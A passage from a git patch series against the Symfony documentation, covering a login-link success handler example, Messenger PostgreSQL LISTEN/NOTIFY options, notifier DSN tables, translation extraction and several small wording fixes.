+To customize, how the success handler behaves, create your own ``AuthenticationSuccessHandler``::
+
+    // src/Security/Authentication/AuthenticationSuccessHandler.php
+    namespace App\Security\Authentication;
+
+    use Symfony\Component\HttpFoundation\JsonResponse;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface;
+
+    class AuthenticationSuccessHandler implements AuthenticationSuccessHandlerInterface
+    {
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token): JsonResponse
+        {
+            // Example use case: Create API token for Guard Authentication.
+            $user = $token->getUser(); // Returns string|\Stringable|UserInterface - depends on your implementation.
+
+            $userApiToken = $user->getApiToken();
+
+            return new JsonResponse(['apiToken' => 'userApiToken']);
+        }
+    }
+
+Modify the configuration and use your handler for the ``success_handler`` key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    login_link:
+                        check_route: login_check
+                        lifetime: 600
+                        max_uses: 1
+                        success_handler: App\Security\Authentication\AuthenticationSuccessHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <login-link check-route="login_check"
+                        check-post-only="true"
+                        max-uses="1"
+                        lifetime="600"
+                        success_handler="App\Security\Authentication\AuthenticationSuccessHandler"
+                    />
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        $container->loadFromExtension('security', [
+            'firewalls' => [
+                'main' => [
+                    'login_link' => [
+                        'check_route' => 'login_check',
+                        'lifetime' => 600,
+                        'max_uses' => 1,
+                        'success_handler' => 'App\Security\Authentication\AuthenticationSuccessHandler',
+                    ],
+                ],
+            ],
+        ]);

From 8680b94bd703f414735f25c18b3515a3915bcf8b Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 7 Apr 2021 16:56:32 +0200
Subject: [PATCH 2017/7107] [#14700] Minor rewording

---
 security/login_link.rst | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index e43edbd7a22..d3c7b0e4c23 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -656,9 +656,12 @@ user create this POST request (e.g. by clicking a button)::
     {% endblock %}
 
 Customizing the Success Handler
-...............................
+-------------------------------
 
-To customize, how the success handler behaves, create your own ``AuthenticationSuccessHandler``::
+Sometimes, the default success handling does not fit your use-case (e.g.
+when you need to generate and return an API key). To customize how the
+success handler behaves, create your own
+:class:`Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface`::
 
     // src/Security/Authentication/AuthenticationSuccessHandler.php
     namespace App\Security\Authentication;
@@ -672,16 +675,14 @@ To customize, how the success handler behaves, create your own ``AuthenticationS
     {
         public function onAuthenticationSuccess(Request $request, TokenInterface $token): JsonResponse
         {
-            // Example use case: Create API token for Guard Authentication.
-            $user = $token->getUser(); // Returns string|\Stringable|UserInterface - depends on your implementation.
-
+            $user = $token->getUser();
             $userApiToken = $user->getApiToken();
 
             return new JsonResponse(['apiToken' => 'userApiToken']);
         }
     }
 
-Modify the configuration and use your handler for the ``success_handler`` key:
+Then, configure this service ID as the ``success_handler``:
 
 .. configuration-block::
 
@@ -715,7 +716,7 @@ Modify the configuration and use your handler for the ``success_handler`` key:
                         check-post-only="true"
                         max-uses="1"
                         lifetime="600"
-                        success_handler="App\Security\Authentication\AuthenticationSuccessHandler"
+                        success-handler="App\Security\Authentication\AuthenticationSuccessHandler"
                     />
                 </firewall>
             </config>
@@ -724,6 +725,8 @@ Modify the configuration and use your handler for the ``success_handler`` key:
     .. code-block:: php
 
         // config/packages/security.php
+        use App\Security\Authentication\AuthenticationSuccessHandler;
+
         $container->loadFromExtension('security', [
             'firewalls' => [
                 'main' => [
@@ -731,7 +734,7 @@ Modify the configuration and use your handler for the ``success_handler`` key:
                         'check_route' => 'login_check',
                         'lifetime' => 600,
                         'max_uses' => 1,
-                        'success_handler' => 'App\Security\Authentication\AuthenticationSuccessHandler',
+                        'success_handler' => AuthenticationSuccessHandler::class,
                     ],
                 ],
             ],

From e16bc4ea4180381e515095f898163faeeba04397 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 7 Apr 2021 17:02:08 +0200
Subject: [PATCH 2018/7107] [#14728] Be explicit about the double 's'

---
 components/cache/adapters/redis_adapter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index bed064679e4..0845b3bcb96 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -63,7 +63,7 @@ helper method allows creating and configuring the Redis client class instance us
 
 The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
 password and a database index. To enable TLS for connections, the scheme ``redis`` must be
-replaced by ``rediss``.
+replaced by ``rediss`` (the second ``s`` means "secure").
 
 .. note::
 

From 1834da9e971aa71870ba2fc66417d0f4ae05fc24 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 23 Feb 2021 18:57:23 +0100
Subject: [PATCH 2019/7107] Update data_collector.rst

I removed the DataCollector class import because it has been replaced with the AbstractDataCollector class.
---
 profiler/data_collector.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 6e53fd5203d..ef377c47974 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -31,7 +31,6 @@ request::
     use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpKernel\DataCollector\DataCollector;
 
     class RequestCollector extends AbstractDataCollector
     {

From 55edd4857e5023321ba0143bb7b1dcc27ad8870c Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Sun, 28 Feb 2021 18:27:21 +0100
Subject: [PATCH 2020/7107] [Messenger] Add options for PostgreSQL
 LISTEN/NOTIFY support

---
 messenger.rst | 32 ++++++++++++++++++++++++++++----
 1 file changed, 28 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index abf45612374..ee98b1f2e84 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1074,6 +1074,12 @@ a table named ``messenger_messages``.
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 
+.. caution::
+
+    The datetime property of the messages stored in the database uses the
+    timezone of the current system. This may cause issues if multiple machines
+    with different timezone configuration use the same storage.
+
 The transport has a number of options:
 
 ==================  =====================================  ======================
@@ -1093,11 +1099,28 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
-.. caution::
+.. versionadded:: 5.1
 
-    The datetime property of the messages stored in the database uses the
-    timezone of the current system. This may cause issues if multiple machines
-    with different timezone configuration use the same storage.
+    The ability to leverage PostgreSQL's LISTEN/NOTIFY was introduced
+    in Symfony 5.1.
+
+When using PostgreSQL, you have access to the following options to leverage
+the `LISTEN/NOTIFY`_ feature. This allow for a more performant approach
+than the default polling behavior of the Doctrine transport because
+PostgreSQL will directly notify the workers when a new message is inserted
+in the table.
+
+=======================  =====================================       ======================
+Option                   Description                                 Default
+=======================  =====================================       ======================
+use_notify               Whether to use LISTEN/NOTIFY.               true
+check_delayed_interval   The interval to check for delayed           1000
+                         messages, in milliseconds.
+                         Set to 0 to disable checks.
+get_notify_timeout       The length of time to wait for a            0
+                         response when calling
+                         ``PDO::pgsqlGetNotify```, in milliseconds.
+=======================  ==========================================  ======================
 
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
@@ -1971,3 +1994,4 @@ Learn more
 .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html
 .. _`FIFO queue`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/FIFO-queues.html
+.. _`LISTEN/NOTIFY`: https://www.postgresql.org/docs/current/sql-notify.html

From bd0073371144f4664597be836ecd523529edd5cb Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 7 Apr 2021 17:23:37 +0200
Subject: [PATCH 2021/7107] Fixed table markup

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ee98b1f2e84..c97efd5210f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1110,9 +1110,9 @@ than the default polling behavior of the Doctrine transport because
 PostgreSQL will directly notify the workers when a new message is inserted
 in the table.
 
-=======================  =====================================       ======================
+=======================  ==========================================  ======================
 Option                   Description                                 Default
-=======================  =====================================       ======================
+=======================  ==========================================  ======================
 use_notify               Whether to use LISTEN/NOTIFY.               true
 check_delayed_interval   The interval to check for delayed           1000
                          messages, in milliseconds.

From 91096d5fbb61cb3209e97524732191062bc11a9e Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Fri, 26 Feb 2021 19:05:50 -0500
Subject: [PATCH 2022/7107] Add serialize reference

---
 reference/twig_reference.rst | 23 +++++++++++++++++++++++
 serializer.rst               | 13 +++++++++++++
 2 files changed, 36 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 270c9c678c8..e4991845096 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -558,6 +558,29 @@ project's root directory:
 If the given file path is out of the project directory, a ``null`` value
 will be returned.
 
+serialize
+~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ object|serialize(format = 'json', context = []) }}
+
+``object``
+    **type**: ``mixed``
+
+``format`` *(optional)*
+    **type**: ``string``
+
+``context`` *(optional)*
+    **type**: ``array``
+
+.. versionadded:: 5.3
+
+    The ``serialize`` filter was introduced in Symfony 5.3.
+
+Accepts any data that can be serialized by the :doc:`Serializer component </serializer>`
+and returns a serialized string in the specified ``format``.
+
 .. _reference-twig-tags:
 
 Tags
diff --git a/serializer.rst b/serializer.rst
index b4dd7e03d52..7d526ae46bc 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -41,6 +41,19 @@ you need it or it can be used in a controller::
         }
     }
 
+Or you can use the ``serialize`` Twig filter in a template:
+
+.. code-block:: twig
+
+    {{ object|serialize(format = 'json') }}
+
+See the :doc:`twig reference </reference/twig_reference>` for
+more information.
+
+.. versionadded:: 5.3
+
+    A ``serialize`` filter was introduced in Symfony 5.3 that uses the Serializer component.
+
 Adding Normalizers and Encoders
 -------------------------------
 

From 367efdb0ea5ef8648d857660623a7d59701ce36c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Mehmet=20G=C3=B6kalp?= <mehgokalp98@gmail.com>
Date: Sat, 30 Jan 2021 18:31:32 +0300
Subject: [PATCH 2023/7107] JsonResponse content updated

---
 components/http_foundation.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 0fa78dc6439..449d29ea0f0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -668,9 +668,11 @@ class, which can make this even easier::
     // if you know the data to send when creating the response
     $response = new JsonResponse(['data' => 123]);
 
-    // if you don't know the data to send when creating the response
+    // if you don't know the data to send or if you want to customize the encoding options
     $response = new JsonResponse();
     // ...
+    // configure any custom encoding options (if needed, it must be called before "setData()")
+    //$response->setEncodingOptions(JsonResponse::DEFAULT_ENCODING_OPTIONS | \JSON_PRESERVE_ZERO_FRACTION);
     $response->setData(['data' => 123]);
 
     // if the data to send is already encoded in JSON

From 77089fa264786081748cd1d90c331784c2882b50 Mon Sep 17 00:00:00 2001
From: Nate Wiebe <nate@northern.co>
Date: Fri, 5 Mar 2021 15:35:03 -0500
Subject: [PATCH 2024/7107] Update docs relating to translation extraction

---
 translation.rst       | 5 +++++
 translation/debug.rst | 7 ++++---
 2 files changed, 9 insertions(+), 3 deletions(-)

diff --git a/translation.rst b/translation.rst
index 8153d000531..b8e61251893 100644
--- a/translation.rst
+++ b/translation.rst
@@ -292,6 +292,8 @@ To manage these situations, Symfony follows the `ICU MessageFormat`_ syntax by
 using PHP's :phpclass:`MessageFormatter` class. Read more about this in
 :doc:`/translation/message_format`.
 
+.. _translatable-objects:
+
 Translatable Objects
 --------------------
 
@@ -386,6 +388,9 @@ The ``translation:update`` command looks for missing translations in:
   :ref:`twig.paths <config-twig-paths>` config options);
 * Any PHP file/class that injects or :doc:`autowires </service_container/autowiring>`
   the ``translator`` service and makes calls to the ``trans()`` method.
+* Any PHP file/class stored in the ``src/`` directory that creates
+  :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
+  the ``trans()`` method.
 
 .. _translation-resource-locations:
 
diff --git a/translation/debug.rst b/translation/debug.rst
index 74e52783245..c511d7c9777 100644
--- a/translation/debug.rst
+++ b/translation/debug.rst
@@ -19,9 +19,10 @@ command helps you to find these missing or unused translation messages templates
 
 .. caution::
 
-    The extractors can't find messages translated outside templates, like form
-    labels or controllers. Dynamic translations using variables or expressions
-    in templates are not detected either:
+    The extractors can't find messages translated outside templates (like form
+    labels or controllers) unless using :ref:`translatable-objects` or calling
+    the ``trans()`` method on a translator. Dynamic translations using variables
+    or expressions in templates are not detected either:
 
     .. code-block:: twig
 

From dc9e6134441517ba520d30c060aeb70ed17e4a85 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 7 Apr 2021 17:50:50 +0200
Subject: [PATCH 2025/7107] [#15063] Added versionaddeds

---
 translation.rst       | 5 +++++
 translation/debug.rst | 5 +++--
 2 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index b1e1cb619c0..4330e171c0a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -468,6 +468,11 @@ The ``translation:update`` command looks for missing translations in:
   :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
   the ``trans()`` method.
 
+.. versionadded:: 5.3
+
+    Support for extracting Translatable objects has been introduced in
+    Symfony 5.3.
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations
diff --git a/translation/debug.rst b/translation/debug.rst
index c511d7c9777..cc14945dc9d 100644
--- a/translation/debug.rst
+++ b/translation/debug.rst
@@ -21,8 +21,9 @@ command helps you to find these missing or unused translation messages templates
 
     The extractors can't find messages translated outside templates (like form
     labels or controllers) unless using :ref:`translatable-objects` or calling
-    the ``trans()`` method on a translator. Dynamic translations using variables
-    or expressions in templates are not detected either:
+    the ``trans()`` method on a translator (since Symfony 5.3). Dynamic
+    translations using variables or expressions in templates are not
+    detected either:
 
     .. code-block:: twig
 

From 90e6580276ba5e07a002b453c069f093daac6731 Mon Sep 17 00:00:00 2001
From: AntoineRoue <64271860+AntoineRoue@users.noreply.github.com>
Date: Tue, 6 Apr 2021 20:57:34 +0200
Subject: [PATCH 2026/7107] Update framework.rst

This value was not changed with https://github.com/symfony/symfony/pull/30390
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ada92f8f25e..63e0ca7ad20 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1221,7 +1221,7 @@ The value can be one of:
 ``true``
     Throw an exception when the requirements are not met;
 ``false``
-    Disable exceptions when the requirements are not met and return ``null``
+    Disable exceptions when the requirements are not met and return ``''``
     instead;
 ``null``
     Disable checking the requirements (thus, match the route even when the

From bdb8a80215972b4b85cbb957fb70241e9391f3e8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 8 Apr 2021 11:48:23 +0200
Subject: [PATCH 2027/7107] Rename LightSms package

Follows https://github.com/symfony/symfony/pull/40736
---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index b5c9d8eda80..488ed973a5a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -64,7 +64,7 @@ FreeMobile  ``symfony/free-mobile-notifier``  ``freemobile://LOGIN:PASSWORD@defa
 GatewayApi  ``symfony/gatewayapi-notifier``   ``gatewayapi://TOKEN@default?from=FROM``
 Infobip     ``symfony/infobip-notifier``      ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
-LightSMS    ``symfony/lightsms-notifier``     ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+LightSms    ``symfony/light-sms-notifier``    ``lightsms://LOGIN:TOKEN@default?from=PHONE``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush    ``symfony/octopush-notifier``     ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
@@ -86,7 +86,7 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms and LightSMS
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms and LightSms
     integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 2204e13626a8a06c78654de002601355b616f134 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 8 Apr 2021 12:34:13 +0200
Subject: [PATCH 2028/7107] Remove variable

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index b5c9d8eda80..987afd08f8a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -155,7 +155,7 @@ Service     Package                           DSN
 Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
 FakeChat    ``symfony/fake-chat-notifier``    ``fakechat+email://MAILER_SERVICE_ID?to=TO&from=FROM``
 Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
-Gitter      ``symfony/gitter-notifier``       ``GITTER_DSN=gitter://TOKEN@default?room_id=ROOM_ID``
+Gitter      ``symfony/gitter-notifier``       ``gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``

From 9e1e0a906038a705bfe377706b95656873120df7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 6 Apr 2021 14:23:37 +0200
Subject: [PATCH 2029/7107] [Notifier] Add MicrosoftTeams

---
 notifier.rst | 35 ++++++++++++++++++-----------------
 1 file changed, 18 insertions(+), 17 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index e07794be445..b260b58b58a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -149,22 +149,23 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==========  ================================  ===========================================================================
-Service     Package                           DSN
-==========  ================================  ===========================================================================
-Discord     ``symfony/discord-notifier``      ``discord://TOKEN@default?webhook_id=ID``
-FakeChat    ``symfony/fake-chat-notifier``    ``fakechat+email://MAILER_SERVICE_ID?to=TO&from=FROM``
-Firebase    ``symfony/firebase-notifier``     ``firebase://USERNAME:PASSWORD@default``
-Gitter      ``symfony/gitter-notifier``       ``gitter://TOKEN@default?room_id=ROOM_ID``
-GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
-LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
-Mattermost  ``symfony/mattermost-notifier``   ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
-Mercure     ``symfony/mercure-notifier``      ``mercure://HUB_ID?topic=TOPIC``
-RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-Slack       ``symfony/slack-notifier``        ``slack://TOKEN@default?channel=CHANNEL``
-Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
-Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-==========  ================================  ===========================================================================
+==============  ====================================  ===========================================================================
+Service         Package                               DSN
+==============  ====================================  ===========================================================================
+Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
+FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://MAILER_SERVICE_ID?to=TO&from=FROM``
+Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
+Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
+GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+LinkedIn        ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
+Mattermost      ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+Mercure         ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
+MicrosoftTeams  ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
+RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
+Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
+Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
+==============  ====================================  ===========================================================================
 
 .. versionadded:: 5.1
 
@@ -179,7 +180,7 @@ Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:TOKEN@HOST?channel
 
 .. versionadded:: 5.3
 
-    The Gitter, Mercure and FakeChat integrations were introduced in Symfony 5.3.
+    The Gitter, Mercure, FakeChat and Microsoft Teams integrations were introduced in Symfony 5.3.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 0c57c73506ccc7663f618cfe69766cdd3f724fa4 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 8 Apr 2021 13:16:41 +0200
Subject: [PATCH 2030/7107] Add troubleshooting for parallel merges to
 maintainer guide

---
 _build/maintainer_guide.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/_build/maintainer_guide.rst b/_build/maintainer_guide.rst
index f5913a8e811..8485bc3191d 100644
--- a/_build/maintainer_guide.rst
+++ b/_build/maintainer_guide.rst
@@ -352,6 +352,26 @@ forgot to merge as ``gh merge NNNNN -s 5.1`` to change the merge branch. Solutio
     $ git merge 5.1
     $ ...
 
+Merging while the target branch changed
+.......................................
+
+Sometimes, someone else merges a PR in ``5.x`` at the same time as you are
+doing it. In these cases, ``gh merge ...`` failes to push. Solve this by
+resetting your local branch and restarting the merge:
+
+.. code-block:: terminal
+
+    $ gh merge ...
+    # this failed
+
+    # fetch the updated 5.x branch from GitHub
+    $ git fetch upstream
+    $ git checkout 5.x
+    $ git reset --hard upstream/5.x
+
+    # restart the merge
+    $ gh merge ...
+
 .. _`symfony/symfony-docs`: https://github.com/symfony/symfony-docs
 .. _`Symfony Docs team`: https://github.com/orgs/symfony/teams/team-symfony-docs
 .. _`Symfony's respectful review comments`: https://symfony.com/doc/current/contributing/community/review-comments.html

From f68ec043011cc63df61541f5758dd70b198117e5 Mon Sep 17 00:00:00 2001
From: Matthew Setter <matthew@matthewsetter.com>
Date: Thu, 8 Apr 2021 09:54:26 +0200
Subject: [PATCH 2031/7107] Corrected minor grammar mistake in the routing docs

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index bf971924311..bd3697451a4 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2216,8 +2216,8 @@ Stateless Routes
     The ``stateless`` option was introduced in Symfony 5.1.
 
 Sometimes, when an HTTP response should be cached, it is important to ensure
-that can happen. However, whenever session is started during a request, Symfony
-turns the response into a private non-cacheable response.
+that can happen. However, whenever a session is started during a request,
+Symfony turns the response into a private non-cacheable response.
 
 For details, see :doc:`/http_cache`.
 

From c8deb3d013d486e99016d0918cd125180dcac555 Mon Sep 17 00:00:00 2001
From: Cristoforo Cervino <cristoforo.cervino@facile.it>
Date: Tue, 16 Mar 2021 14:19:06 +0100
Subject: [PATCH 2032/7107] add form_attr option doc

---
 reference/forms/types/form.rst                |  3 +++
 .../forms/types/options/form_attr.rst.inc     | 20 +++++++++++++++++++
 2 files changed, 23 insertions(+)
 create mode 100644 reference/forms/types/options/form_attr.rst.inc

diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 9e1a5d47227..43a5a398bdf 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -19,6 +19,7 @@ on all types for which ``FormType`` is the parent.
 |                           | - `error_bubbling`_                                                |
 |                           | - `error_mapping`_                                                 |
 |                           | - `extra_fields_message`_                                          |
+|                           | - `form_attr`_                                                     |
 |                           | - `help`_                                                          |
 |                           | - `help_attr`_                                                     |
 |                           | - `help_html`_                                                     |
@@ -116,6 +117,8 @@ The actual default value of this option depends on other field options:
 
 .. include:: /reference/forms/types/options/extra_fields_message.rst.inc
 
+.. include:: /reference/forms/types/options/form_attr.rst.inc
+
 .. include:: /reference/forms/types/options/help.rst.inc
 
 .. include:: /reference/forms/types/options/help_attr.rst.inc
diff --git a/reference/forms/types/options/form_attr.rst.inc b/reference/forms/types/options/form_attr.rst.inc
new file mode 100644
index 00000000000..bb6cb1ca4fd
--- /dev/null
+++ b/reference/forms/types/options/form_attr.rst.inc
@@ -0,0 +1,20 @@
+``form_attr``
+~~~~~~~~~~~~~
+
+**type**: ``boolean`` or ``string`` **default**: ``false``
+
+When ``true`` and used on a form element, it adds a `"form" attribute`_ to its HTML field representation with
+its HTML form id. By doing this, a form element can be rendered outside the HTML form while still working as expected::
+
+    $builder->add('body', TextareaType::class, [
+        'form_attr' => true,
+    ]);
+
+This can be useful when you need to solve nested form problems.
+You can also set this to ``true`` on a root form to automatically set the "form" attribute on all its children.
+
+.. note::
+
+    When the root form has no ID, ``form_attr`` is required to be a string identifier to be used as the form ID.
+
+.. _`"form" attribute`: https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#attr-fae-form

From d0d10f6f8b7faf5c1a19aa6dc2da0a671fcce427 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 3 Apr 2021 19:04:59 +0200
Subject: [PATCH 2033/7107] Adding typehint

...from https://symfony.com/doc/current/security/guard_authentication.html#the-guard-authenticator-methods
---
 security/guard_authentication.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 6949d008d8d..4a406239aed 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -187,7 +187,7 @@ This requires you to implement several methods::
             return true;
         }
 
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
+        public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $providerKey)
         {
             // on success, let the request continue
             return null;

From 5cdeedc73d7b32d48fce220b5bea5f57395658bc Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 9 Apr 2021 08:55:04 +0200
Subject: [PATCH 2034/7107] Fix: Build

---
 security/login_link.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index d3c7b0e4c23..456cfc706c6 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -661,7 +661,7 @@ Customizing the Success Handler
 Sometimes, the default success handling does not fit your use-case (e.g.
 when you need to generate and return an API key). To customize how the
 success handler behaves, create your own
-:class:`Symfony\Component\Security\Http\Authentication\AuthenticationSuccessHandlerInterface`::
+:class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationSuccessHandlerInterface`::
 
     // src/Security/Authentication/AuthenticationSuccessHandler.php
     namespace App\Security\Authentication;

From 3833bbac0e74d4a948e4bcd0cc80b0a42ddc65c3 Mon Sep 17 00:00:00 2001
